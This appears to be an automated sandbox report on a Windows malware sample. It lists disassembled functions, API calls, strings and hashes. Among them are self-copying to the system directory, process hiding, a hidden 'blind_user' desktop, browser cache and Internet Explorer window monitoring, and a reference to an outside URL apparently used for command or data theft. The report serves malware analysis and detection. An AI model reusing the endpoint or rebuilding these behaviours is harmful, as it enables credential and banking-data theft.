Opcode Fuzzy Hash: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction Fuzzy Hash: A401A772B4461439F62165758C43F9E365D8B41B78F208136F711BB1C1D6F97E0142BD

Function 00405613 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

FindFirstUrlCacheEntryA.WININET(*.*,?,00001F40), ref: 00405654
_stricmp.CRTDLL(?,?), ref: 00405679
FindNextUrlCacheEntryA.WININET(00000000,?,00001F40), ref: 004056C0
_stricmp.CRTDLL(?,?), ref: 004056D6

Strings

*.*, xrefs: 0040564F

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: CacheEntryFind_stricmp$FirstNext
String ID: *.*
API String ID: 747601842-438819550
Opcode ID: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction ID: aa6d97de36eacb02400b0bc5d5be45fc0d4f636131057f9c0ab70f2a458f06eb
Opcode Fuzzy Hash: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction Fuzzy Hash: AD21CF72E1005AABCB109A65CC018FBB6EEEB44398F1404F3F108F7290EB799E418F65

Function 0040431F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00404341
GetThreadDesktop.USER32(00000000), ref: 00404347
CreateDesktopA.USER32(blind_user,00000000,00000000,00000000,000000C7,00000000), ref: 00404376
SetThreadDesktop.USER32 ref: 00404394

Strings

blind_user, xrefs: 00404371

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: DesktopThread$CreateCurrent
String ID: blind_user
API String ID: 2384851093-487808672
Opcode ID: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction ID: 282a6fb7077f79b337956a50597d570250b08ff90f4541f666399335e01d3b83
Opcode Fuzzy Hash: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction Fuzzy Hash: 2C018471B442006FDB14B73E9C5276FA6D95BC0314F64403BA602F72D0E9B899018A5D

Function 00403840 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

printf.CRTDLL(HEX: ), ref: 00403863
printf.CRTDLL(%02X ,00000000), ref: 00403877
printf.CRTDLL(0042CC3A), ref: 00403890

Strings

HEX: , xrefs: 0040385E
%02X , xrefs: 00403872

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: printf
String ID: %02X $HEX:
API String ID: 3524737521-2568639716
Opcode ID: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction ID: 8eff4c8c66366255d0771bcdb7d8d21a427f9234d78b176c67630138abebef86
Opcode Fuzzy Hash: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction Fuzzy Hash: 43F0E972F05214BBD704DB9ADC4286E77A9DB9236473080FBF804631C0E9755F0086A9

Function 00403BBE Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.CRTDLL(?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403C8B
memcpy.CRTDLL(?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CAE
memcpy.CRTDLL(-0042AA50,?,00000006,?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CBE

Strings

MC, xrefs: 00403BFD

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: memcpy$memset
String ID: MC
API String ID: 438689982-3957011357
Opcode ID: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction ID: 0fabd55d67194886af3b95eda558b9f651b3b184c5d0290ca09bafd6d30b71fa
Opcode Fuzzy Hash: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction Fuzzy Hash: F131B661F08198AFDB00DFBDC84169EBFFA9B4A210F1480B6E884F7381D5789F059765

Function 004017AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004017CC
CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

Strings

{9BA05972-F6A8-11CF-A442-00A0C90A8F39}, xrefs: 004017D5

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceString
String ID: {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
API String ID: 1245325315-1222218007
Opcode ID: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction ID: 52c0c8d8f8a1b88d6522b4dea913535513547713cd70a2aa0dd21656c7656eb5
Opcode Fuzzy Hash: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction Fuzzy Hash: E1118673B102116FE710FEF5DC81BAB7AE89B00355F10483BE644F32D1E6B8A50286B9

Function 0040109B Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

signal.CRTDLL(0000000B,00000000), ref: 0040119C
signal.CRTDLL(00000008,00000000), ref: 004011B6
signal.CRTDLL(00000000), ref: 004011D5
raise.CRTDLL ref: 004011E3

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: signal$raise
String ID:
API String ID: 372037113-0
Opcode ID: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction ID: baa5ba32779064c34a5af0890878b5a2dbb5619b613b0807c362cc876063d63b
Opcode Fuzzy Hash: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction Fuzzy Hash: 4541B475A01204DFC720DF18EC84B5677B4FB08350F44457AEE14AB3E1E734A965CBAA

Function 0040447A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00404492
LocalAlloc.KERNEL32(00000040,-00000008,?), ref: 004044A4
sprintf.CRTDLL(?,%s%c%c,?,4EC4EBEE,?,00000040,-00000008,?), ref: 00404515

Strings

%s%c%c, xrefs: 0040450F

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlensprintf
String ID: %s%c%c
API String ID: 2176257816-3118753097
Opcode ID: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction ID: 40b1eb1d73d9c04af9a72cf5af1a140bd4a75b2e1492408562adfdfa8721cd8f
Opcode Fuzzy Hash: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction Fuzzy Hash: F9110B72E0406867DB009A9A88815AFFBB69FC5310F1641F7EA04B73C1D27CAD0193A5

Function 0040421F Relevance: 6.0, APIs: 4, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404255
RegSetValueExA.ADVAPI32(?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404273
RegCloseKey.ADVAPI32(?,?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?), ref: 0040427F

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction ID: d96ef7c4080a9b633a5bca21bfcbc2c766a155132064e5ed691f16c3214ccdec
Opcode Fuzzy Hash: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction Fuzzy Hash: B801F772B10109BBCF11AEB5CC02F9EBEBA9F84340F240476B704F61E0D675D9116718

Function 0040429C Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042EF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042FB

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction ID: 691f158720e2b36127ee9bd81ba90e70b5a5535aabeb9bf87ba7554e5ddc9d88
Opcode Fuzzy Hash: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction Fuzzy Hash: 9801F271B1410ABACF109E25CC02BEEBFA99F94390F140472BE04F61E1D374EE11A3A9

Function 00403743 Relevance: 6.0, APIs: 4, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403769
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403780
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403798
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080), ref: 0040379E

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction ID: cf1cf3c615f6ac6775c7614bbea78a1f327309af87cada33f382846b8ae172d8
Opcode Fuzzy Hash: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction Fuzzy Hash: 1BF0E972B442143AE62029758C03FDE355D8B41B78F144131FB10FB1D1D5B8BA0142AD

Function 0040185F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,?), ref: 004018E2
_sleep.CRTDLL(00000000), ref: 00401985

Strings

Microsoft Internet Explorer, xrefs: 004018E9

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: TextWindow_sleep
String ID: Microsoft Internet Explorer
API String ID: 2600969163-3125735337
Opcode ID: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction ID: b939d44f97a8665b9279395720dceab0b5e56fea97a4cdd5017e5321b1dcff8d
Opcode Fuzzy Hash: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction Fuzzy Hash: 0B511D71A00215EFDB20CFA8D884BAAB7F4BB18315F5041B6E904E72A0D7749995CF59

Function 0040682B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406753: CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
Part of subcall function 00406753: GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
Part of subcall function 00406753: CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

_sleep.CRTDLL(000927C0,00418E30,http://tat-neftbank.ru/kkq.php,ofs_kk), ref: 00406854

Strings

http://tat-neftbank.ru/kkq.php, xrefs: 00406840
ofs_kk, xrefs: 0040683B

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize_sleep
String ID: http://tat-neftbank.ru/kkq.php$ofs_kk
API String ID: 4235044784-1201080362
Opcode ID: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction ID: fffe33e14b07b0123592d698d33e8a34a507cc30d1f0c5c96ad3af2b43ec03e4
Opcode Fuzzy Hash: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction Fuzzy Hash: ADD05E72B453043B9200757E9D07929F5CE4AA0AA83B9446BBA01F73F1E8F89E1151AB

Analysis Process: Oceoll32.exePID: 6824, Parent PID: 6768COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	542
Total number of Limit Nodes:	2

Executed Functions

Function 00406C29 Relevance: 82.5, APIs: 36, Strings: 11, Instructions: 264
windowthreadregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32(001F0001,00000000,QueenKarton_12), ref: 00406C50
CloseHandle.KERNEL32(00000000,00000000), ref: 00406C60
exit.CRTDLL(00000001,00000000,00000000), ref: 00406C67
GetVersionExA.KERNEL32(00418D50,00000000), ref: 00406C8A
GetSystemDirectoryA.KERNEL32(00429080,000000FF), ref: 00406C99
GetTickCount.KERNEL32 ref: 00406C9E
srand.CRTDLL(00000000,00418D50,00000000), ref: 00406CA4
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00418D50,00000000), ref: 00406CBE
rand.CRTDLL(00418D50,00000000), ref: 00406D03
rand.CRTDLL(00418D50,00000000), ref: 00406D2F
rand.CRTDLL(00418D50,00000000), ref: 00406D70
sprintf.CRTDLL(?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00406DA8
CopyFileA.KERNEL32(?,?,00000000), ref: 00406DBD
WinExec.KERNEL32(?,00000000), ref: 00406DEC
ExitProcess.KERNEL32(00000001,?,?,?,?,?,?,00418D50,00000000), ref: 00406E02
sprintf.CRTDLL(00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E1B
sprintf.CRTDLL(00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E3A
sprintf.CRTDLL(00408020,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E53
LoadCursorA.USER32(00000000,00007F00), ref: 00406E85
LoadIconA.USER32(00000000,00007F03), ref: 00406E9A
GetStockObject.GDI32(00000000), ref: 00406EA8
RegisterClassA.USER32(00000003), ref: 00406EC9
CreateWindowExA.USER32(00000000,QueenKarton,QueenKarton,00CA0000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00408020), ref: 00406EF3
CreateMutexA.KERNEL32(00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406F12

Part of subcall function 00402E06: GetVersion.KERNEL32 ref: 00402E22
Part of subcall function 00402E06: GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
Part of subcall function 00402E06: CloseHandle.KERNEL32(?), ref: 00403065

GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F21
GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F32
GetProcAddress.KERNEL32(00000000,RegisterServiceProcess), ref: 00406F3D
GetCurrentProcessId.KERNEL32(00000000,RegisterServiceProcess,kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll), ref: 00406F57
CreateThread.KERNEL32(00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F84
CloseHandle.KERNEL32(00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F8A
CreateThread.KERNEL32(00000000,00000000,004068B0,00000000,00000000,?), ref: 00406FA3
CloseHandle.KERNEL32(00000000,00000000,00000000,004068B0,00000000,00000000,?,00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406FA9
SetTimer.USER32(00000001,000001F4,00000000,00000000), ref: 00406FBD
TranslateMessage.USER32(?), ref: 00406FC8
DispatchMessageA.USER32(?), ref: 00406FD7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00406FE6

Strings

%s\%s.exe, xrefs: 00406D9C
2, xrefs: 00406D83
RegisterServiceProcess, xrefs: 00406F37
kernel32.dll, xrefs: 00406F2D
QueenKarton_12, xrefs: 00406C44, 00406F09
dnkkq.dll, xrefs: 00406E3F
kkq32.dll, xrefs: 00406E07
3, xrefs: 00406D7C
QueenKarton, xrefs: 00406E64, 00406EE7, 00406EEC
kkq32.vxd, xrefs: 00406E26
%s\%s, xrefs: 00406E11, 00406E30, 00406E49

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreatesprintf$MessageVersionrand$FileLoadModuleMutexProcessThread$AddressClassCopyCountCurrentCursorDirectoryDispatchExecExitGlobalIconMemoryNameObjectOpenProcRegisterStatusStockSystemTickTimerTranslateWindowexitsrand
String ID: %s\%s$%s\%s.exe$2$3$QueenKarton$QueenKarton_12$RegisterServiceProcess$dnkkq.dll$kernel32.dll$kkq32.dll$kkq32.vxd
API String ID: 607501245-2841515530
Opcode ID: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction ID: b1e00ee85c63859ee3f052cf9651ba5d7fc827d99c5bd6e2bd8f21b679fb6b98
Opcode Fuzzy Hash: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction Fuzzy Hash: E691C671F883286ADB10A7759C46FDD76A85B44704F5000BBB508FB2C2D6FC6D448BAE

Function 00403619 Relevance: 7.6, APIs: 5, Instructions: 58
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403642
GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
